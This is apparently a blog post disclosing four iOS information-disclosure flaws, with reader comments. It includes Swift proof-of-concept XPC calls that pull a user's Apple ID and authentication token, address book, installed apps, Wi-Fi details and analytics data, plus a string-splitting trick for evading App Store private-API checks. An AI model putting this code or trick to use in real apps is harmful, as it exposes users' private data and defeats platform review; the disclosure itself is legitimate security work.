Дисклеймер: Apple была уведомлена обо всех описанных в статье уязвимостях в период с 10 марта по 4 мая, ответы о принятии в работу со стороны Apple приходили на следующий день после каждого уведомления. В соответствии с responsible disclosure policy, Google Project Zero раскрывает уязвимости через 90 дней после уведомления вендора, ZDI - через 120, независимо от того, исправлена уязвимость или нет. Я же выждал намного больше (до полугода) и 10 дней назад предупредил Apple, о том, скоро буду вынужден публично раскрыть эти уязвимости. Ответа не последовало, поэтому я решил написать эту статью.

Все уязвимости имеют класс Information Disclosure, а именно получение чувствительной информации приложениями из App Store без запроса разрешений у пользователя, либо обход sandbox и получение такой информации, к которой у приложений в принципе не должно быть доступа. Я загрузил на GitHub код приложений, который я отправлял в Apple для демонстрации уязвимостей, его можно запустить на своих устройствах и посмотреть, приложения только получают данные и отображают их в UI.

Вот список уязвимостей вместе с данными, которые они могут получить:

Gamed 0-day (iOS 15.0)

Ссылка на репозиторий

Позволяет получить доступ к следующим данным:

  1. e-mail аккаунта Apple ID, в который выполнен вход на устройстве и полное имя владельца этого Apple ID, а также authentication token, позволяющий отправлять запросы на сервера Apple от имени этого Apple ID (судя по всему ограничен только функциями, связанными с GameKit, я не проверял тщательно этот момент)

  2. Доступ к содержимому следующих файлов для чтения (сейчас в iOS 15.0 доступен только первый, видимо, частично пофиксили):

  • /var/mobile/Library/CoreDuet/People/interactionC.db - содержит список контактов из сообщений Почта, Сообщения, прочих мессенджеров (к примеру, Telegram и WhatsApp), а также метаданные о взамодействии с этими контактами, включая статистику и точноее время каждого взаимодействия с каждым контактом

  • /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - содержит список избранных контактов из быстрого набора в приложении Телефон

  • /var/mobile/Library/AddressBook/AddressBook.sqlitedb - Содержит полную адресную книгу со всеми контактами на устройстве

  • /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - Содержит фотографии контактов из адресной книги

Nehelper installed apps 0-day (iOS 15.0)

Ссылка на репозиторий

Позволяет проверить, установлено ли то или иное приложение на устройстве по bundle ID. В коде на GitHub содержится список самых популярных приложений, каждое из которых проверяется, после чего выдается список тех из них, что были найдены на устройстве.

Nehelper wifi info 0-day (iOS 15.0)

Ссылка на репозиторий

Незначительная уязвимость, позволяющая получить доступ к информации о точке доступа Wi-Fi, к которой в данный момент подключен устройство без наличия необходимого entitlement у приложения. Проверка на entitlement была добавлена в iOS 12, но ее можно легко обойти, правда для этого у приложения должен быть доступ к геолокации.

Analyticsd (исправлено в iOS 14.7)

Ссылка на репозиторий

Позволяет получить доступ к данным аналитики на устройстве (Эти данные можно увидеть, открыв приложение Настройки -> Приватность -> Аналитика и улучшения -> Данные аналитики -> Analytics-90Day... and Analytics-Daily...). Данные содержат, помимо прочего:

  • Информация о пользовании устройством (количество раз, когда пользователь брал в руки устройство в разных контекстах, сколько пришло push-уведомлений, и как пользователь на них отреагировал)

  • Информация об экранном времени (сколько времени пользователь провел в каждом приложении с указанием Bundle ID этих приложений, а также сколько раз он открывал эти приложения)

  • Медицинская информация (пульс, число обнаруженных фибрилляций и нарушений сердечного ритма)

  • Метаданные из приложения Здоровье, связанные с отслеживанием менструального цикла, включая его продолжительность, а также возраст пользователя

  • Информация обо всех аксессуарах, которые подлючались к устройству (к примеру, AirPods) с указанием производителя, модели, версии прошивки и имен, которые пользователь присвоил этим аксессуарам

  • Информация о крашах приложений, включающая их Bundle ID и коды исключений, которые вызвали краш

  • Язык страниц, которые пользователь просматривал в приложении Safari

Данная уязвимость интересна тем, что Apple, после ее исправления, не указала ее в списке исправленных уязвимостей, сославшись на техническую ошибку, и пообещав указать ее в следующий раз. Тем не менее, ни в 14.7.1, ни в 14.8, ни в 15.0 она не появилась. Также мои последующие вопросы по этому поводу были проигнорированы. Что наводит на мысль о том, что Apple пытается утаить эту уязвимость, а возможно и тот факт, что они сами собирают все эти данные и используют их в неизвестных целях.

Вступление

В iOS существует огромное количество фоновых процессов, каждый из которых отвечает за какой-либо функционал. Эти процессы могут быть запущены от разных пользователей с разным уровнем привилегий и разными профилями sandbox, в отличие от приложений из App Store, которые максимально ограничены в возможностях. Поэтому для использования функций из большинства фреймворков, доступ к которым Apple предоставляет разработчикам, код в этих фреймворках взаимодействует с фоновыми процессами, передавая и получая от них данные через разные механизмы (в основном используется XPC). Есть 2 вида XPC - первый использует C API для установления соединения и передачи сериализованных объектов, второй же является оберткой на Objective-C над первым (NSXPC), где интерфейс взаимодействия определяется как обычный протокол Objective-C, с обеих сторон соединения имеется по экземпляру какого-то класса, которые соотвествуют этому протоколу. Клиент просто вызывает методы этого прокси-объекта и получает ответ через callback, передаваемый как параметр при вызове метода. Далее NSXPC же, незаметно для клиента, при помощи NSCoding и NSInvocation связывает эти две сущности и вызывает аналогичный метод на другой стороне соединения. Приложение может обладать различными entitlements, наличие которых проверяется на стороне фоновых процессов при установке XPC соединений и вызове различных методов, для того, чтобы определить, разрешены ли эти действия конкретному приложению.

Все уязвимости, о которых идет речь в этой статье являются логическими, то есть отсутствием различных проверок в привилегированных фоновых процессах, что приводит к тому, что любое приложение может к ним подключиться и получить конфиденциальные данные.

Gamed

Итак, первая уязвимость связана с фреймворком GameKit и соответствующим ему фоновым процессом под названием com.apple.gamed. Данный процесс использует NSXPC и протоколом для прокси-объекта является GKDaemonProtocol. Ниже приведены сокращенные протоколы, где содержатся только нужные нам методы. Полностью файлы заголовков можно увидеть в репозитории на GitHub.

@protocol GKDaemonProtocol <NSObject>
@required
- (oneway void)getServicesForPID:(int)arg1 localPlayer:(GKPlayerInternal *)arg2 reply:(void (^)(<GKAccountService> , <GKProfileService>, <GKFriendService> , <GKGameService> , <GKGameStatService> , <GKChallengeService> , <GKMultiplayerService> , <GKTurnBasedService> , <GKUtilityService> , <GKBulletinService> , <GKAnalyticsService> , <GKGameSessionService> , <GKTournamentService> ))arg3;
@end

@protocol GKAccountService <NSObject>
@required
- (oneway void)authenticatePlayerWithExistingCredentialsWithHandler:(void (^)(GKAuthenticateResponse *, NSError *))arg1;
@end

@protocol GKUtilityService <NSObject>
@required
- (oneway void)requestImageDataForURL:(NSURL *)arg1 subdirectory:(NSString *)arg2 fileName:(NSString *)arg3 handler:(void (^)(NSData *))arg4;
@end

@interface GKAuthenticateResponse
@property (nonatomic, retain) GKPlayerCredential *credential;
@end

@interface GKPlayerCredential 
@property (retain) NSString *accountName;
@property (retain) NSString *authenticationToken;
@end

Вот упрощенная версия кода, который позволяет нам получить данные. Ошибка номер один - нам возвращается объект, содержащий Apple ID и токен аутентификации (что в принципе не должно передаваться в приложение). Ошибка номер два - метод requestImageData не производит проверку на схему URL, и получая file:// считывает из файловой системы файл с указанным URL используя привилегии процесса gamed и возвращает нам в приложение его содержимое.

let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
    accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
        let appleID = response.credential.accountName
        let token = response.credential.authenticationToken
    }

    utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
        let addressBookData = data
    }
}

На странице программы Apple Security Bounty данная уязвимость оценивается в $100,000 (Broad app access to sensitive data normally protected by a TCC prompt or the platform sandbox. “Sensitive data” access includes gaining a broad access (i.e., the full database) from Contacts). Минимальная выплата за любые уязвимости, подходящие под категории с их сайта - 5,000$. Но по многочисленным свидетельствам участников этой программы, Apple затягивает в выплатах, а в итоге может либо отказать в выплате без указания причины, либо выплатить сумму, значительно меньше заявленной у них на сайте. Я сообщил о данной уязвимости 10 марта. 25 августа я получил ответ, что уязвимость будет исправлена в ближайшем обновлении. С тех пор прошел почти месяц, вышли iOS 14.8 и 15.0, но в них исправление отсутствует. Я не планировал опубликовывать 0-day уязвимости в открытом доступе, но это единственная возможность привлечь внимание к тому, что произошло с уязвимостью analyticsd, и к тому, как в целом работает программа Apple Security Bounty. Подробнее об этом в конце статьи.

А сейчас небольшое отступление. У Apple есть такое понятие как Private API. Оно подразумевает символы C, классы и методы Objective-C, которые присутствуют в бинарных файлах фреймворков, но которые отсутствуют в файлах заголовков SDK, предоставляемых Apple разработчикам. По правилам App Store, использование приватных API запрещено. При загрузке бинарного файла в App Store Connect происходит проверка на использование приватных API, и в случае обнаружения, бинарный файл не загружается. После чего на почту приходит такое письмо:

Dear Developer,

We identified one or more issues with a recent delivery for your app, [APP_NAME] 1.0 (1). Please correct the following issues, then upload again.

ITMS-90338: Non-public API usage - The app contains or inherits from non-public classes in [APP_NAME]: GKFamiliarPlayerInternal, GKFriendPlayerInternal, GKLocalPlayerInternal . If method names in your source code match the private Apple APIs listed above, altering your method names will help prevent this app from being flagged in future submissions. In addition, note that one or more of the above APIs may be located in a static library that was included with your app. If so, they must be removed. For further information, visit the Technical Support Information at http://developer.apple.com/support/technical/

Best regards, The App Store Team

Но проверка происходит таким образом, что у Apple есть просто список строк с названиями методов, и все эти строки ищутся в загружаемых бинарниках, что позволяет легко обойти эту проверку. Objective-C Runtime позволяет нам обращаться к классам таким образом: NSClassFromString("GKLocalPlayerInternal"]). Но в этом случае строка с названием класса все равно попадет в исполняемый файл. Но, если мы сделаем, к примеру, так: NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), строка не будет обнаружена, проверка пройдет успешно и приложение будет загружено в App Store. Данным методом пользуются многие крупные компании. К примеру в коде одного очень известного приложения с 500 млн пользователей применяется шифр Цезаря для сокрытия использования приватных методов UIKit. А насчет скрытия факта использования С функций, являющихся private API, подробнее можно почитать в моем следующем посте (английская версия).

В дополнение, правила и ограничения, которые Apple применяет к разработчикам, не едины для всех. Как пример можно привести секретный entitlement com.apple.developer.pushkit.unrestricted-voip, выдающийся некоторым приложениям, но я не буду подробно писать об этом в данной статье.

Nehelper installed apps

Здесь и в остальных уязвимостях, подверженные фоновые процессы используют вариант XPC с С API. Но, для удобства, код ниже написан на Swift. Данный сервис под названием com.apple.nehelper отвечает за работу с Network Extensions. В нем есть определенный метод, который получает на вход Bundle ID приложения, после чего, в зависимости от того, обнаружено ли приложение на устройстве, нам возвращается какой-то UUID или nil.


func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}

Nehelper wifi info

Это еще одна уязвимость в том же сервисе. У разработчиков есть возможность получать информацию о Wi-Fi сети, к которой подключено устройство. Но для приложений, скомпилированных при использовании iOS 12 SDK и выше, для этого требуется отдельный entitlement. Версия SDK передается в параметре sdk-version, который мы контролируем, поэтому данная проверка легко обходится. Но препятствием является то, что для этого у приложение должен быть доступ к геолокации.

func wifi_info() -> String? {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
    xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // можно вообще не указывать, тогда значение будет 0
    xpc_dictionary_set_string(xdict, "interface-name", "en0")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let result = xpc_dictionary_get_value(reply, "result-data") {
        let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
        let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
        return "SSID: \(ssid)\nBSSID: \(bssid)"
    } else {
        return nil
    }
}

Analyticsd

И, наконец, последняя уязвимость, которая была исправлена в iOS 14.7. Здесь проблема кроется в фоновом процессе, ответственном за сбор аналитики. В нем есть метод под названием log-dump, который не защищен никакими проверками, и любое приложение может подключиться к этому процессу и вызвать данный метод, в ответ получив огромное количество данных об использовании устройства.

func analytics_json() -> String? {
    let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_string(xdict, "command", "log-dump");
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict);
    return xpc_dictionary_get_string(reply, "log-dump");
}

29 апреля я сообщил об этой уязвимости в Apple.

3 июня я получил письмо от Apple, в котором было написано, что данная уязвимость будет устранена в следующем обновлении.

19 июля вышла iOS 14.7, но в списке исправленных узявимостей ее нет.

20 июля я написал письмо в Apple с целью разъяснить ситуацию.

23 июля приходит ответ с извинениями, словами о том, что это случилось из-за "processing issue", уверениями, что уязвимость будет указана в следующем обновлении и вопросом о том, как меня упомянуть в списке исправлений. В тот же день я ответил и сразу получил ответ с подтверждением.

26 июля вышла iOS 14.7.1, в списке исправленных узявимостей опять ничего.

13 сентября вышла iOS 14.8, в списке исправленных узявимостей опять ничего. В тот же день я написал письмо в Apple с выражением разочарования в программе Apple Security Bounty, с повторной просьбой прояснить ситуацию и предупреждением, что при отсутствии ответа, я буду вынужден публично раскрыть информацию обо всех уязвимостях, которые я им отправил.

20 сентября вышла iOS 15.0, в списке исправленных узявимостей опять ничего.

По состоянию на 24 сентября ответа я так и не получил, в связи с чем я публикую данную статью.

Я не знаю, по какой причине Apple не хочет публиковать информацию об этой уязвимости, но я уверен, что большинство пользователей даже не подозревают о том, сколько информации Apple собирает о них под видом аналитики. Также неизвестно, с какой целью эта информация используется и кому передается. В связи с этим особенно лицемерно выглядит их позиция о том, что они заботятся о конфиденциальности пользователей.

Я далеко не первый человек, который разочаровался в программе Apple Security Bounty, и я надеюсь, что мой опыт повлияет на решение багхантеров не сотрудничать с ними. Кому интересно почитать о негативном опыте других людей, список публикаций на эту тему есть в английской версии этой статьи.

UPD:

25 сентября, ровно через 24 часа после этой публикации я получил ответ от Apple, цитирую:

We saw your blog post regarding this issue and your other reports. We apologize for the delay in responding to you.

We want to let you know that we are still investigating these issues and how we can address them to protect customers. Thank you again for taking the time to report these issues to us, we appreciate your assistance. 

Please let us know if you have any questions.

UPD2: У меня нет возможности проверить, но джейлбрейк-разработчик утверждает, что у него получилось за один день написать tweak, который защищает от трех 0-day уязвимостей, описанных в статье, причем сделал это за один день.

UPD3: Я опубликовал следующий пост (пока только английская версия), где подробно расписал про метод скрытия факта использования С функций, являющихся private API, а также озвучил свои претензии к тому, как проходит ревью в App Store.

UPD4: 1 октября вышла iOS 15.0.1. Все три уязвимости до сих пор не исправлены.

UPD5: 11 октября вышла iOS 15.0.2. Уязвимость gamed исправлена без упоминания об этом в списке исправлений, остальные две уязвимости до сих пор не исправлены.

Комментарии (46)


  1. usa_habro_user
    24.09.2021 05:35
    -7

    А почему бы вам эти уязвимости на https://hackerone.com/ не отправить?


    1. vient
      24.09.2021 06:56
      +5

      В чём разница? На HackerOne у них одна страничка с пометкой External Program и предложением писать на product-security<at>apple<dot>com.


      1. usa_habro_user
        24.09.2021 07:56
        -9

        Сорри, я не хакер, но слышал, что там бывают неплохие призовые.


    1. Feromagnits
      24.09.2021 12:44
      +2

      Что это даст автору?


  1. K10
    24.09.2021 08:02
    +14

    Отличная работа.

    Не думал, что у Apple бывают такие детские уязвимости

    метод под названием log-dump, который не защищен никакими проверками, и любое приложение может подключиться к этому процессу и вызвать данный метод,

    Ну и "секретные" API - это, конечно, детский сад.


    1. creker
      24.09.2021 12:59
      +12

      Почему? iOS построена вокруг IPC. Естественно любой процесс может вызывать метод любого демона. Дальше вопрос в правах доступа. Их постоянно эпл и реализует неправильно. По сути, все private api, которыми пользуются люди вопреки правилам эпл, это так или иначе некорректная проверка прав доступа. Раньше вон можно было SMS отправлять без ведома пользователя и тоже по XPC запрос. Даже аппстор такое попадало. Потом закрыли этими самыми entitlements. Поэтому эта статья не более чем сборник новых private api, а не какое-то откровение или признак проблем у эпл. Ищутся они тоже элементарно. Это обыденность для платформы со времен ее создания и никуда от нее не деться, пока эпл продолжает добавлять новую функциональность и менять старую, внося новые баги.


    1. illusionofchaos Автор
      24.09.2021 15:05
      +18

      Бывают, в прошлом году обнаружили, что механизм Sign In With Apple, с помощью которого можно авторизовываться на сторонних сайтах и в приложениях, без проверок выдает кому угодно токены любого пользователя, получая в качестве параметра только Apple ID, в результате чего можно было войти в аккаунт любого пользователя (если он привязан к аккаунту Apple) на любом сайте или в приложении, зная только его e-mail.


  1. ne555
    24.09.2021 08:17
    +11

    Правильно ли я понял из статьи, что в т.ч. финансовая, составляющая программы до вас не дошла?


    1. illusionofchaos Автор
      24.09.2021 14:58
      +8

      Да, на данный момент ничего не заплатили, и у меня нет уверенности, что я вообще получу хоть что-то. Я отправил письмо с вопросом, когда я смогу узнать, получу ли я вознаграждение и, если да, то какую сумму, на что я получил следующий ответ:

      Eligible reports are usually awarded after the release of a security update which addresses the issue. If your reported issue qualifies, we will send a follow-up email with the relevant information regarding the reward amount. 

      Thank you again for working with our team to help improve the security and privacy of our products, and we look forward to future reports.


      1. staticmain
        24.09.2021 17:38
        +1

        Мне кажется, что вам уже не заплатят, как раз ссылаясь на этот абзац:

        awarded after the release of a security update

        Релиза с исправлением не было, вы до его выхода раскрыли уязвимость в мир — нарушили правила ожидания и в итоге не получаете ничего.


        1. johnfound
          24.09.2021 18:30
          +5

          Но исправление, насколько я понял было. Просто не отметили его в релизе. Выходит, кинули автора...


          1. staticmain
            24.09.2021 19:22

            Я сообщил о данной уязвимости 10 марта. 25 августа я получил ответ, что уязвимость будет исправлена в ближайшем обновлении. С тех пор прошел почти месяц, вышли iOS 14.8 и 15.0, но в них исправление отсутствует. Я не планировал опубликовывать 0-day уязвимости в открытом доступе, но это единственная возможность привлечь внимание


            Не всего


  1. v1000
    24.09.2021 08:23
    +18

    любое приложение может подключиться к этому процессу и вызвать данный метод, в ответ получив огромное количество данных об использовании устройства

    как иронично, что сама Эппл сейчас везде говорит об ограничении доступа к аналитике, приложения чуть-ли не угрозами требуют от пользователя дать к ней доступ, а тут это все так легко обходится. и при этом так долго не исправлятся.


  1. pishchin
    24.09.2021 09:16
    +7

    Спасибо Вам, что не стали продавать уязвимости на чёрном рынке.

    Nehelper wifi info 0-day работает при доступе только к точной геопозиции или к приблизительной тоже?


    1. pishchin
      24.09.2021 11:41

      Проверил на примере, Nehelper wifi info 0-day работает только, если пользователь дал разрешение приложению на доступ к точной геопозиции.

      Если у приложения есть Access WiFi Information Entitlement, но нет доступа к точной геопозиции, может ли это приложение получить SSID и BSSID?


      1. illusionofchaos Автор
        24.09.2021 13:57
        +2

        Здесь указаны 4 варианта, при которых можно получить эти данные, то есть если нет доступа к точной геопозиции, остаются еще 3:

        • The app uses Core Location, and has the user’s authorization to use location information.

        • The app uses the NEHotspotConfiguration API to configure the current Wi-Fi network.

        • The app has an active VPN configuration installed.

        • The app has an active NEDNSSettingsManager configuration installed.


    1. illusionofchaos Автор
      24.09.2021 14:46
      +2

      Zerodium и прочие брокеры покупают в основном RCE и LPE, и то не всегда, по свидетельствам тех, кто с ними сотрудничал. А в остальном, черного рынка для таких уязвимостей практически нет.

      Несомненно, есть владельцы некоторых приложений в App Store, которые заинтересованы в получении данных о своих пользователях, но, во-первых, использование уязвимостей может привести к удалению приложения из App Store, пожизненному бану аккаунта разработчика, не говоря уже о юридических последствиях. А, во-вторых, даже если я был бы не против провернуть сделку с анонимным покупателем через эскроу на каком-нибудь теневом форуме, чей администратор, обладая достаточной репутацией, выступит в качестве брокера, покупатель не может быть уверен в том, что он сможет эксплуатировать уязвимость в течении какого-либо долгого времени. Но я сам пользуюсь iOS, и продавая уязвимости неизвестным лицами, я подвергал бы опасности и свои данные в том числе.


  1. YouROK
    24.09.2021 09:22

    Но проверка происходит таким образом, что у Apple есть просто список строк с названиями методов, и все эти строки ищутся в загружаемых бинарниках, что позволяет легко обойти эту проверку.

    Первым, что мне пришло в голову, сделать отдельные либы и в песочнице запускать и проверять вызов функций.

    Второе, что мне пришло, при вызове функций отправлять инфу кто их вызвал и блочить приложение уже после.

    Третье, что мне пришло, сделать либы приватные для каждого приложения, но тут свои трудности могут быть


    1. K10
      24.09.2021 10:38
      +11

      Странно, что вам не пришел в голову самый логичный вариант )

      При вызове проверять токен доступа вызывающего потока/процесса на наличие необходимых для вызова прав.

      Видимо сотрудникам Apple он тоже в голову не пришел )


      1. YouROK
        24.09.2021 10:55
        -1

        То есть иметь белый список, причем оффлайн, так как у меня уже есть пункт 2 и это онлайн белый лист. Минус в том что если аппл добавит новое приложение, то не будет доступа у него без обновления системы. Так что логичней точно не у Вас) логичней сделать повышенные права для своих приложений и там делать что угодно без всяких приватных апи с общим доступом


        1. K10
          24.09.2021 11:51
          +3

          логичней точно не у Вас) 

          Это не у меня, это у всех ОС с разделением прав.

          Минус в том что если аппл добавит новое приложение, то не будет доступа у него без обновления системы. 

          Так и должно быть. Если код не является частью системы, то он должен подчиняться общим правилам.

          В качестве костыля, ios может, конечно, при установке проверять сертификат приложения, и если оно подписано сертификатом Apple, то сразу выдавать ему 100500 разрешений. Однако, например в Windows, когда ОС считает "свои" приложения привилегированными и выдает им права в обход механизмов безопасности, такая практика привела к куче LPE уязвимостей - eventvwr, fodhelper, много их.


          1. YouROK
            24.09.2021 12:25
            -2

            Вы уже определитесь про права вы говорите или про проверку токена в библиотеке. Думаю не стоит продолжать дискуссию про приватный api, уже зашли не в те дебри

            Права привел в пример из андроида, кучу уязвимостей не вижу, если сам пользователь не сделает разблокировку и рут. Если уязвимости есть, то прошу предоставить пример, нужно на Андроиде 9 получить рут или просто доступ к папке /sys чтобы ее прочитать для начала

            Про Виндоус не в курсе так как давно его не использую, знаю что там самый привилегированный пользователь это system, на xp делал дебаг от админа системного сервиса и встраивал туда код для исполнения от этого системного пользователя и был доступ ко всему. В те времена винда была большой дырой, на 7 уже не помню можно такое было провернуть


            1. K10
              24.09.2021 13:08
              +5

               Если уязвимости есть, то прошу предоставить пример

              Пример в статье выше.

              Вы похоже не в курсе, что такое токен безопасности в ОС и какое отношение он имеет к правам. Согласен, продолжать не стоит.


            1. usernameak
              25.09.2021 01:33

              Можно.

              image


        1. creker
          24.09.2021 13:06
          +4

          Белые списки есть. В ядро зашиты хэши всех системных приложений, чтобы отключить для них проверку цифровой подписи. Механизм защиты через entitlement при этом все равно работает даже между системными компонентами.

          Делать повышение прав в своих приложениях нелогично. Это огромная дыра, если мы сможем попасть в адресное пространство этого процесса. Поэтому эпл идет по более логичному пути - даже системные компоненты максимально режутся в правах и помещаются в очень ограниченные песочницы, чтобы они могли выполнять только свои функции и ничего более. Поэтому если дыра в них и найдешь, то за пределы песочниц и их привилегий все равно не выйдешь.


      1. vladkorotnev
        24.09.2021 11:39

        Так entitlements так и работают примерно, похоже что тут просто забыли проверку вставить т.к. не учли такой юзкейс апи


      1. creker
        24.09.2021 13:02
        +3

        Пришел, iOS так работает с самого рождения. Называется это entitlements, о них в статье и речь. Это xml со списком прав доступа, которые зашиваются в бинарник и подписывается цифровой подписью эпл. Без разрешения эпл подписать бинарник чем попало не получится, поэтому это отличная защита. Проблема только в проверках, которые могут быть реализованы неправильно, о чем в статье и речь.


      1. illusionofchaos Автор
        24.09.2021 16:13
        +2

        При отправке любого сообщения между процессами, ядро добавляет в него audit_token, и получатель сообщения может на основании этого токена получить список entitlements. Но вся ответственность за проверку лежит на индивидуальных сервисах, которых в актуальной версии iOS 1643 штуки, из них приложения из App Store видят 287. Ситуацию осложняет то, что сервисы могут быть написаны на разных языках, используют разные способы IPC и разные методы проверки прав доступа. Самих же entitlements, которые имеются у системных исполняемых файлов - 2536, и это только верхний уровень, в них могут содержаться вложенные уровни, ответственные за более тонкое разделение прав


    1. FirExpl
      28.09.2021 13:16
      +1

      Вы немножко не понимаете, что такое Private API. В большинстве своём это как если бы вы в С++/Java объявили метод в классе как private. Просто в Objective-C любой метод всегда можно вызвать если знаешь его сигнатуру, и вот по сути за такое Эпл и бьёт палкой по рукам (потому что там есть вкусные вещи, которые они почему-то не хотят давать другим). + есть системные ивенты которые можно спокойно слушать если знаешь их название, но они private API и тебе за это сделают атата (например факт блокировки экрана)


      1. illusionofchaos Автор
        28.09.2021 13:27

        Ещё я опубликовал второй пост на английском, в котором подробно описываю, как скрыть факт вызова C функций, которые являются private API.


      1. YouROK
        28.09.2021 13:45

        Я не в курсе что там с objective-c на маке/Айфоне, но подозреваю что и как с си на линуксе. А на сях можно загружать либу и вызывать функцию по имени, только с аргументами нужно угадать. Да че уж там, можно и без имени функции вызвать функцию, но это уже совсем крэкерство и к теме не относится.

        Я понимаю что за не документированные системные функции аппл ата-та делает. Но я не в курсе как там все работает. Но как бы я сделал на месте разработчиков. В каждой системной функции передавать токен приложения, по этому токену можно определить права на получение тех или иных значений и вызов тех или иных функций, если кратко. Думаю у аппл что-то подобное


        1. creker
          28.09.2021 14:11

          И как это поможет с ревью? Вы цитировали выше описание того, как эпл детектит вызовы private api при ревью в аппстор. Как минимум, они делают статический анализ бинарника и просто ищут имена функций и методов, который не входят в public api. Есть подозрения, что динамический анализ они тоже делают и точно так же детектят вызовы функций, которые не входят в whitelist. Других вариантов у них нет.

          Токены и права это не ревью, это уже предотвращение самой эксплуатации, а задача ревьювера не пустит такое в аппстор изначально. И они помогают только в упомянутых в статье XPC вызовах, когда есть доверенный "сервер", который может токен запросить и проверить привилегии приложения. Многие private api это, как выше написали, просто отсутствующая в хедерах функция. Если сделать дамп функций класса (даже того, который входит в public api), то их легко найти. Их тучи таких и все они запрещены для вызова. Многие из них не выходят за пределы своего адресного пространства и делают примитивные вещи вроде скругления углов иконок. Вставлять в каждую из них запрос токена и привилегий это слишком дорого и бессмысленно. Все функции, которые требуют подобный уровень защиты, и так доступны только через XPC и прочие механизмы, где есть переход границы адресных пространств и переход в более доверенную среду выполнения.


  1. ris58h
    24.09.2021 11:18
    +6

    Отличная работа! Надо выбивать свою награду! На Hacker News и Reddit писали? В Гугле вижу только статьи на русскоязычных ресурсах.



  1. Woodroof
    24.09.2021 12:28

    Но даже если проверка на приватные API и обходится, это же всё равно нарушение. Почему бы не сообщить Apple об этом популярном приложении, чтобы они его забанили или хотя бы заставили разработчиков исправиться?


    1. illusionofchaos Автор
      24.09.2021 15:35
      +6

      В данном случае это вынужденное нарушение, так как приложение поддерживает все версии iOS, начиная с 9.0, и это единственная возможность обходить баги в UIKit поддерживать UI в более-менее одинаковом виде в старых версиях iOS.

      Как пример, начиная c iOS 7, Apple использует особый метод скругления углов на иконках. Впоследствии, данный стиль стал использоваться во всех стандартных компонентах UI - кнопках, всплывающих окнах и так далее. При реализации кастомного view данный стиль можно официально применять только начиная с iOS 13. Но начиная с iOS 11, у CALayer есть приватный метод setContinuousCorners, который Apple сама использовала в своих приложениях. И для того, чтобы у пользователей на старых версиях iOS приложение не выглядело хуже, разработчикам приходится нарушать правила.


  1. Hanaan
    24.09.2021 12:44
    +3

    Крутая статья, спасибо автору!


  1. LuigiVampa
    24.09.2021 14:34
    +3

    Спасибо автору за интересную статью!


  1. K10
    24.09.2021 14:36
    +4

    https://news.ycombinator.com/item?id=28637276 :

    Программы Bug Bounty - полная противоположность внутренней методологии, культуре и способу ведения бизнеса Apple. Они держат все под рукой, они избегают «посторонних» и т. д. Идея о том, что кто-то за пределами Apple, из немытых масс, может найти изъян в собственном программном обеспечении Apple, - довольно большая пилюля для них. Поэтому меня не удивляет наличие проблем с их программой вознаграждения за ошибки. Я думаю, что если бы они могли, они предпочли бы просто заглушить все сообщения об уязвимостях / ошибках с помощью приказа о запрете, а не признавать или даже исследовать их.


  1. gameplayer55055
    24.09.2021 18:51

    Да просто apple использует одинаковые подходы для простого юзера и разработчиков. А за 0 day на Хабре ничего хоть вам не будет? Apple может легко надавить на всяких копирастов, и все


  1. Rosich70
    24.09.2021 20:21

    Спасибо за интересную статью и нужную информацию, коли сам Aple не желает уведомлять и что-либо исправлять... (


  1. pdqpdq
    24.09.2021 23:06

    Ещё неплохо бы английскую версию на реддит какой-нибудь. Твитнул с линком



  1. samoreklam
    25.09.2021 15:12

    Отпишите потом, заплатила ли компания за другие - не опубликованные Вами уязвимости.


    1. illusionofchaos Автор
      25.09.2021 15:30
      +5

      Все, что я им отправил, я опубликовал, так что вероятность, что мне хоть что-то заплатят, близка к нулю, но буду обновлять статью по мере развития событий. А еще какие-либо уязвимости я не планирую им отправлять.


  1. Zalechi
    28.09.2021 15:04

    Блин, а мы думаем, как эти израильские компании находят баги..

    Эх блин-блин, а я всё еще собираюсь на Apple перейти, и перейду ведь(